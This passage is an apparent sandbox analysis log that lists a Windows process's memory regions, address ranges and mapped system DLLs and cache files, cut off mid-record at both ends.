entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2127 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2128 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2129 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2130 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2131 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2132 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2133 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2134 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2135 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2136 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2137 start_va = 0x1b580000 end_va = 0x1b58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b580000" filename = "" Region: id = 2138 start_va = 0x1b590000 end_va = 0x1b59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b590000" filename = "" Region: id = 2139 start_va = 0x1b5a0000 end_va = 0x1b5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5a0000" filename = "" Region: id = 2140 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2141 start_va = 0x1b580000 end_va = 0x1b58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b580000" filename = "" Region: id = 2142 start_va = 0x1b590000 end_va = 0x1b59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b590000" filename = "" Region: id = 2143 start_va = 0x1b5a0000 end_va = 0x1b5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5a0000" filename = "" Region: id = 2144 start_va = 0x1b5b0000 end_va = 0x1b5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5b0000" filename = "" Region: id = 2145 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2146 start_va = 0x1b580000 end_va = 0x1b58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b580000" filename = "" Region: id = 2147 start_va = 0x1b590000 end_va = 0x1b59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b590000" filename = "" Region: id = 2148 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2149 start_va = 0x1b580000 end_va = 0x1b58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b580000" filename = "" Region: id = 2150 start_va = 0x1b590000 end_va = 0x1b59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b590000" filename = "" Region: id = 2151 start_va = 0x1b570000 end_va = 0x1b57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2152 start_va = 0x1b580000 end_va = 0x1b58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b580000" filename = "" Region: id = 2153 start_va = 0x1b590000 end_va = 0x1b59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b590000" filename = "" Region: id = 2154 start_va = 0x1b5a0000 end_va = 0x1b5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5a0000" filename = "" Region: id = 2155 start_va = 0x1b5b0000 end_va = 0x1b5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5b0000" filename = "" Region: id = 2156 start_va = 0x7ffaa2dc0000 end_va = 0x7ffaa2dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2dc0000" filename = "" Region: id = 2157 start_va = 0x1b570000 end_va = 0x1b66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b570000" filename = "" Region: id = 2158 start_va = 0x1b670000 end_va = 0x1b670fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b670000" filename = "" Region: id = 2159 start_va = 0x7ffb119a0000 end_va = 0x7ffb119c4fff monitored = 0 entry_point = 0x7ffb119a9900 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 2160 start_va = 0x7ffb13440000 end_va = 0x7ffb134befff monitored = 0 entry_point = 0x7ffb13457110 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 2161 start_va = 0x7ffb1fdf0000 end_va = 0x7ffb1fe5afff monitored = 0 entry_point = 0x7ffb1fe090c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2162 start_va = 0x7ffb12110000 end_va = 0x7ffb12120fff monitored = 0 entry_point = 0x7ffb12112fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 2809 start_va = 0x7ffb119d0000 end_va = 0x7ffb119e3fff monitored = 0 entry_point = 0x7ffb119d1800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 2810 start_va = 0x7ffb11a10000 end_va = 0x7ffb11b05fff monitored = 0 entry_point = 0x7ffb11a49590 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 2832 start_va = 0x1b530000 end_va = 0x1b531fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b530000" filename = "" Region: id = 2940 start_va = 0x1b290000 end_va = 0x1b29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b290000" filename = "" Region: id = 2947 start_va = 0x1b2a0000 end_va = 0x1b2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2a0000" filename = "" Region: id = 2948 start_va = 0x1b2b0000 end_va = 0x1b2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2b0000" filename = "" Region: id = 2963 start_va = 0x1b290000 end_va = 0x1b29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b290000" filename = "" Region: id = 2964 start_va = 0x1b290000 end_va = 0x1b29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b290000" filename = "" Region: id = 2965 start_va = 0x1b2a0000 end_va = 0x1b2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2a0000" filename = "" Region: id = 2968 start_va = 0x1b990000 end_va = 0x1bb8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b990000" filename = "" Region: id = 3173 start_va = 0x1b290000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b290000" filename = "" Region: id = 3184 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 3189 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 3190 start_va = 0x1b2e0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2e0000" filename = "" Region: id = 3198 start_va = 0x7ffafc8a0000 end_va = 0x7ffafcbd9fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.runtime.serialization.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\dea5e931cfb592ec8ceb386f87575456\\System.Runtime.Serialization.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.runteb92aa12#\\dea5e931cfb592ec8ceb386f87575456\\system.runtime.serialization.ni.dll") Region: id = 3199 start_va = 0x7ffaa2dd0000 end_va = 0x7ffaa2ddffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2dd0000" filename = "" Region: id = 3204 start_va = 0x1b2f0000 end_va = 0x1b2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2f0000" filename = "" Region: id = 3205 start_va = 0x1b300000 end_va = 0x1b30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b300000" filename = "" Region: id = 3206 start_va = 0x1b310000 end_va = 0x1b31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b310000" filename = "" Region: id = 3207 start_va = 0x1b320000 end_va = 0x1b32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b320000" filename = "" Region: id = 3211 start_va = 0x1b330000 end_va = 0x1b33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b330000" filename = "" Region: id = 3212 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 3213 start_va = 0x1b350000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b350000" filename = "" Region: id = 3214 start_va = 0x1b360000 end_va = 0x1b36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b360000" filename = "" Region: id = 3215 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 3216 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 3220 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 3221 start_va = 0x1b550000 end_va = 0x1b55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b550000" filename = "" Region: id = 3222 start_va = 0x1b560000 end_va = 0x1b56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b560000" filename = "" Region: id = 3223 start_va = 0x1b680000 end_va = 0x1b68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b680000" filename = "" Region: id = 3224 start_va = 0x1b690000 end_va = 0x1b69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b690000" filename = "" Region: id = 3225 start_va = 0x1b6a0000 end_va = 0x1b6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b6a0000" filename = "" Region: id = 3226 start_va = 0x1b6b0000 end_va = 0x1b6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b6b0000" filename = "" Region: id = 3227 start_va = 0x1b6c0000 end_va = 0x1b6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b6c0000" filename = "" Region: id = 3228 start_va = 0x1b6e0000 end_va = 0x1b6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b6e0000" filename = "" Region: id = 3229 start_va = 0x1b700000 end_va = 0x1b72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b700000" filename = "" Region: id = 3230 start_va = 0x1b730000 end_va = 0x1b73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b730000" filename = "" Region: id = 3231 start_va = 0x1b740000 end_va = 0x1b74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b740000" filename = "" Region: id = 3232 start_va = 0x1b750000 end_va = 0x1b75ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b750000" filename = "" Region: id = 3233 start_va = 0x1b760000 end_va = 0x1b76ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b760000" filename = "" Region: id = 3234 start_va = 0x1b770000 end_va = 0x1b77ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b770000" filename = "" Region: id = 3235 start_va = 0x1b780000 end_va = 0x1b78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b780000" filename = "" Region: id = 3236 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 3237 start_va = 0x1bba0000 end_va = 0x1bbaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bba0000" filename = "" Region: id = 3238 start_va = 0x1bbb0000 end_va = 0x1bbbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bbb0000" filename = "" Region: id = 3239 start_va = 0x7ffaa2de0000 end_va = 0x7ffaa2deffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2de0000" filename = "" Region: id = 3241 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 3242 start_va = 0x1b2e0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2e0000" filename = "" Region: id = 3243 start_va = 0x1b2f0000 end_va = 0x1b2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2f0000" filename = "" Region: id = 3244 start_va = 0x1b300000 end_va = 0x1b30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b300000" filename = "" Region: id = 3245 start_va = 0x1b310000 end_va = 0x1b31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b310000" filename = "" Region: id = 3246 start_va = 0x1b320000 end_va = 0x1b32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b320000" filename = "" Region: id = 3247 start_va = 0x1b330000 end_va = 0x1b33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b330000" filename = "" Region: id = 3248 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 3249 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 3250 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 3251 start_va = 0x1b2e0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2e0000" filename = "" Region: id = 3252 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 3253 start_va = 0x1b2e0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2e0000" filename = "" Region: id = 3254 start_va = 0x1b2f0000 end_va = 0x1b2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2f0000" filename = "" Region: id = 3255 start_va = 0x1b300000 end_va = 0x1b30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b300000" filename = "" Region: id = 3256 start_va = 0x1b300000 end_va = 0x1b30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b300000" filename = "" Region: id = 3257 start_va = 0x1b310000 end_va = 0x1b31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b310000" filename = "" Region: id = 3258 start_va = 0x1b320000 end_va = 0x1b32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b320000" filename = "" Region: id = 3259 start_va = 0x1b330000 end_va = 0x1b33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b330000" filename = "" Region: id = 3260 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 3261 start_va = 0x1b350000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b350000" filename = "" Region: id = 3262 start_va = 0x1b360000 end_va = 0x1b36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b360000" filename = "" Region: id = 3263 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 3264 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 3265 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 3266 start_va = 0x1b550000 end_va = 0x1b55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b550000" filename = "" Region: id = 3267 start_va = 0x1b560000 end_va = 0x1b56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b560000" filename = "" Region: id = 3268 start_va = 0x1b680000 end_va = 0x1b68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b680000" filename = "" Region: id = 3269 start_va = 0x1b690000 end_va = 0x1b69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b690000" filename = "" Region: id = 3270 start_va = 0x1b6a0000 end_va = 0x1b6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b6a0000" filename = "" Region: id = 3271 start_va = 0x1b6b0000 end_va = 0x1b6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b6b0000" filename = "" Region: id = 3272 start_va = 0x1b6c0000 end_va = 0x1b6cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b6c0000" filename = "" Region: id = 3273 start_va = 0x1b6d0000 end_va = 0x1b6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b6d0000" filename = "" Region: id = 3274 start_va = 0x1b6e0000 end_va = 0x1b6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b6e0000" filename = "" Region: id = 3275 start_va = 0x1b6f0000 end_va = 0x1b6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b6f0000" filename = "" Region: id = 3276 start_va = 0x1b700000 end_va = 0x1b71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b700000" filename = "" Region: id = 3277 start_va = 0x1b720000 end_va = 0x1b72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b720000" filename = "" Region: id = 3278 start_va = 0x1b730000 end_va = 0x1b73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b730000" filename = "" Region: id = 3279 start_va = 0x1b740000 end_va = 0x1b74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b740000" filename = "" Region: id = 3280 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 3281 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 3282 start_va = 0x1b2e0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2e0000" filename = "" Region: id = 3283 start_va = 0x1b2f0000 end_va = 0x1b2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2f0000" filename = "" Region: id = 3284 start_va = 0x1b300000 end_va = 0x1b30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b300000" filename = "" Region: id = 3285 start_va = 0x1b310000 end_va = 0x1b31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b310000" filename = "" Region: id = 3286 start_va = 0x1b320000 end_va = 0x1b32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b320000" filename = "" Region: id = 3287 start_va = 0x1b330000 end_va = 0x1b33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b330000" filename = "" Region: id = 3288 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 3289 start_va = 0x1b350000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b350000" filename = "" Region: id = 3290 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 3291 start_va = 0x1b2e0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2e0000" filename = "" Region: id = 3292 start_va = 0x1b2f0000 end_va = 0x1b2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2f0000" filename = "" Region: id = 3293 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 3294 start_va = 0x1b2e0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2e0000" filename = "" Region: id = 3295 start_va = 0x1b2f0000 end_va = 0x1b2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2f0000" filename = "" Region: id = 3296 start_va = 0x1b300000 end_va = 0x1b30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b300000" filename = "" Region: id = 3297 start_va = 0x1b310000 end_va = 0x1b31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b310000" filename = "" Region: id = 3298 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 3299 start_va = 0x1b680000 end_va = 0x1b77ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b680000" filename = "" Region: id = 3300 start_va = 0x7ffb1ac70000 end_va = 0x7ffb1adf5fff monitored = 0 entry_point = 0x7ffb1acbd700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 3301 start_va = 0x7ffb06560000 end_va = 0x7ffb065defff monitored = 0 entry_point = 0x7ffb065617d0 region_type = mapped_file name = "dlnashext.dll" filename = "\\Windows\\System32\\dlnashext.dll" (normalized: "c:\\windows\\system32\\dlnashext.dll") Region: id = 3302 start_va = 0x7ffb03120000 end_va = 0x7ffb03193fff monitored = 0 entry_point = 0x7ffb031696e0 region_type = mapped_file name = "playtodevice.dll" filename = "\\Windows\\System32\\PlayToDevice.dll" (normalized: "c:\\windows\\system32\\playtodevice.dll") Region: id = 3303 start_va = 0x1bb90000 end_va = 0x1bc8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 3304 start_va = 0x1bc90000 end_va = 0x1bd8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bc90000" filename = "" Region: id = 3305 start_va = 0x1bd90000 end_va = 0x1be8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bd90000" filename = "" Region: id = 3306 start_va = 0x7ffb145e0000 end_va = 0x7ffb145fefff monitored = 0 entry_point = 0x7ffb145f54a0 region_type = mapped_file name = "devdispitemprovider.dll" filename = "\\Windows\\System32\\DevDispItemProvider.dll" (normalized: "c:\\windows\\system32\\devdispitemprovider.dll") Region: id = 3307 start_va = 0x7ffb157c0000 end_va = 0x7ffb1582ffff monitored = 0 entry_point = 0x7ffb157e2960 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 3308 start_va = 0x7ffb1b210000 end_va = 0x7ffb1b236fff monitored = 0 entry_point = 0x7ffb1b217940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 3309 start_va = 0x1be90000 end_va = 0x1bf8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001be90000" filename = "" Region: id = 3310 start_va = 0x7ffafc690000 end_va = 0x7ffafc892fff monitored = 0 entry_point = 0x7ffafc691660 region_type = mapped_file name = "wpdshext.dll" filename = "\\Windows\\System32\\wpdshext.dll" (normalized: "c:\\windows\\system32\\wpdshext.dll") Region: id = 3311 start_va = 0x1b2d0000 end_va = 0x1b2d1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b2d0000" filename = "" Region: id = 3312 start_va = 0x7ffb09b60000 end_va = 0x7ffb09d08fff monitored = 0 entry_point = 0x7ffb09bb4060 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_0bdd1d3064f6384a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_0bdd1d3064f6384a\\gdiplus.dll") Region: id = 3313 start_va = 0x7ffb19ea0000 end_va = 0x7ffb1a332fff monitored = 0 entry_point = 0x7ffb19eaf760 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 3314 start_va = 0x1b290000 end_va = 0x1b293fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 3315 start_va = 0x1b2a0000 end_va = 0x1b2b4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001b.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001b.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001b.db") Region: id = 3316 start_va = 0x1b2c0000 end_va = 0x1b2c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b2c0000" filename = "" Region: id = 3317 start_va = 0x1b290000 end_va = 0x1b293fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 3318 start_va = 0x1b2e0000 end_va = 0x1b324fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000010.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000010.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000010.db") Region: id = 3319 start_va = 0x1b330000 end_va = 0x1b333fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 3320 start_va = 0x1bf90000 end_va = 0x1c01dfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 3321 start_va = 0x1b340000 end_va = 0x1b350fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 3322 start_va = 0x7ffb12f00000 end_va = 0x7ffb130b7fff monitored = 0 entry_point = 0x7ffb12f6e630 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 3323 start_va = 0x7ffb168d0000 end_va = 0x7ffb16c51fff monitored = 0 entry_point = 0x7ffb16921220 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 3324 start_va = 0x1b360000 end_va = 0x1b360fff monitored = 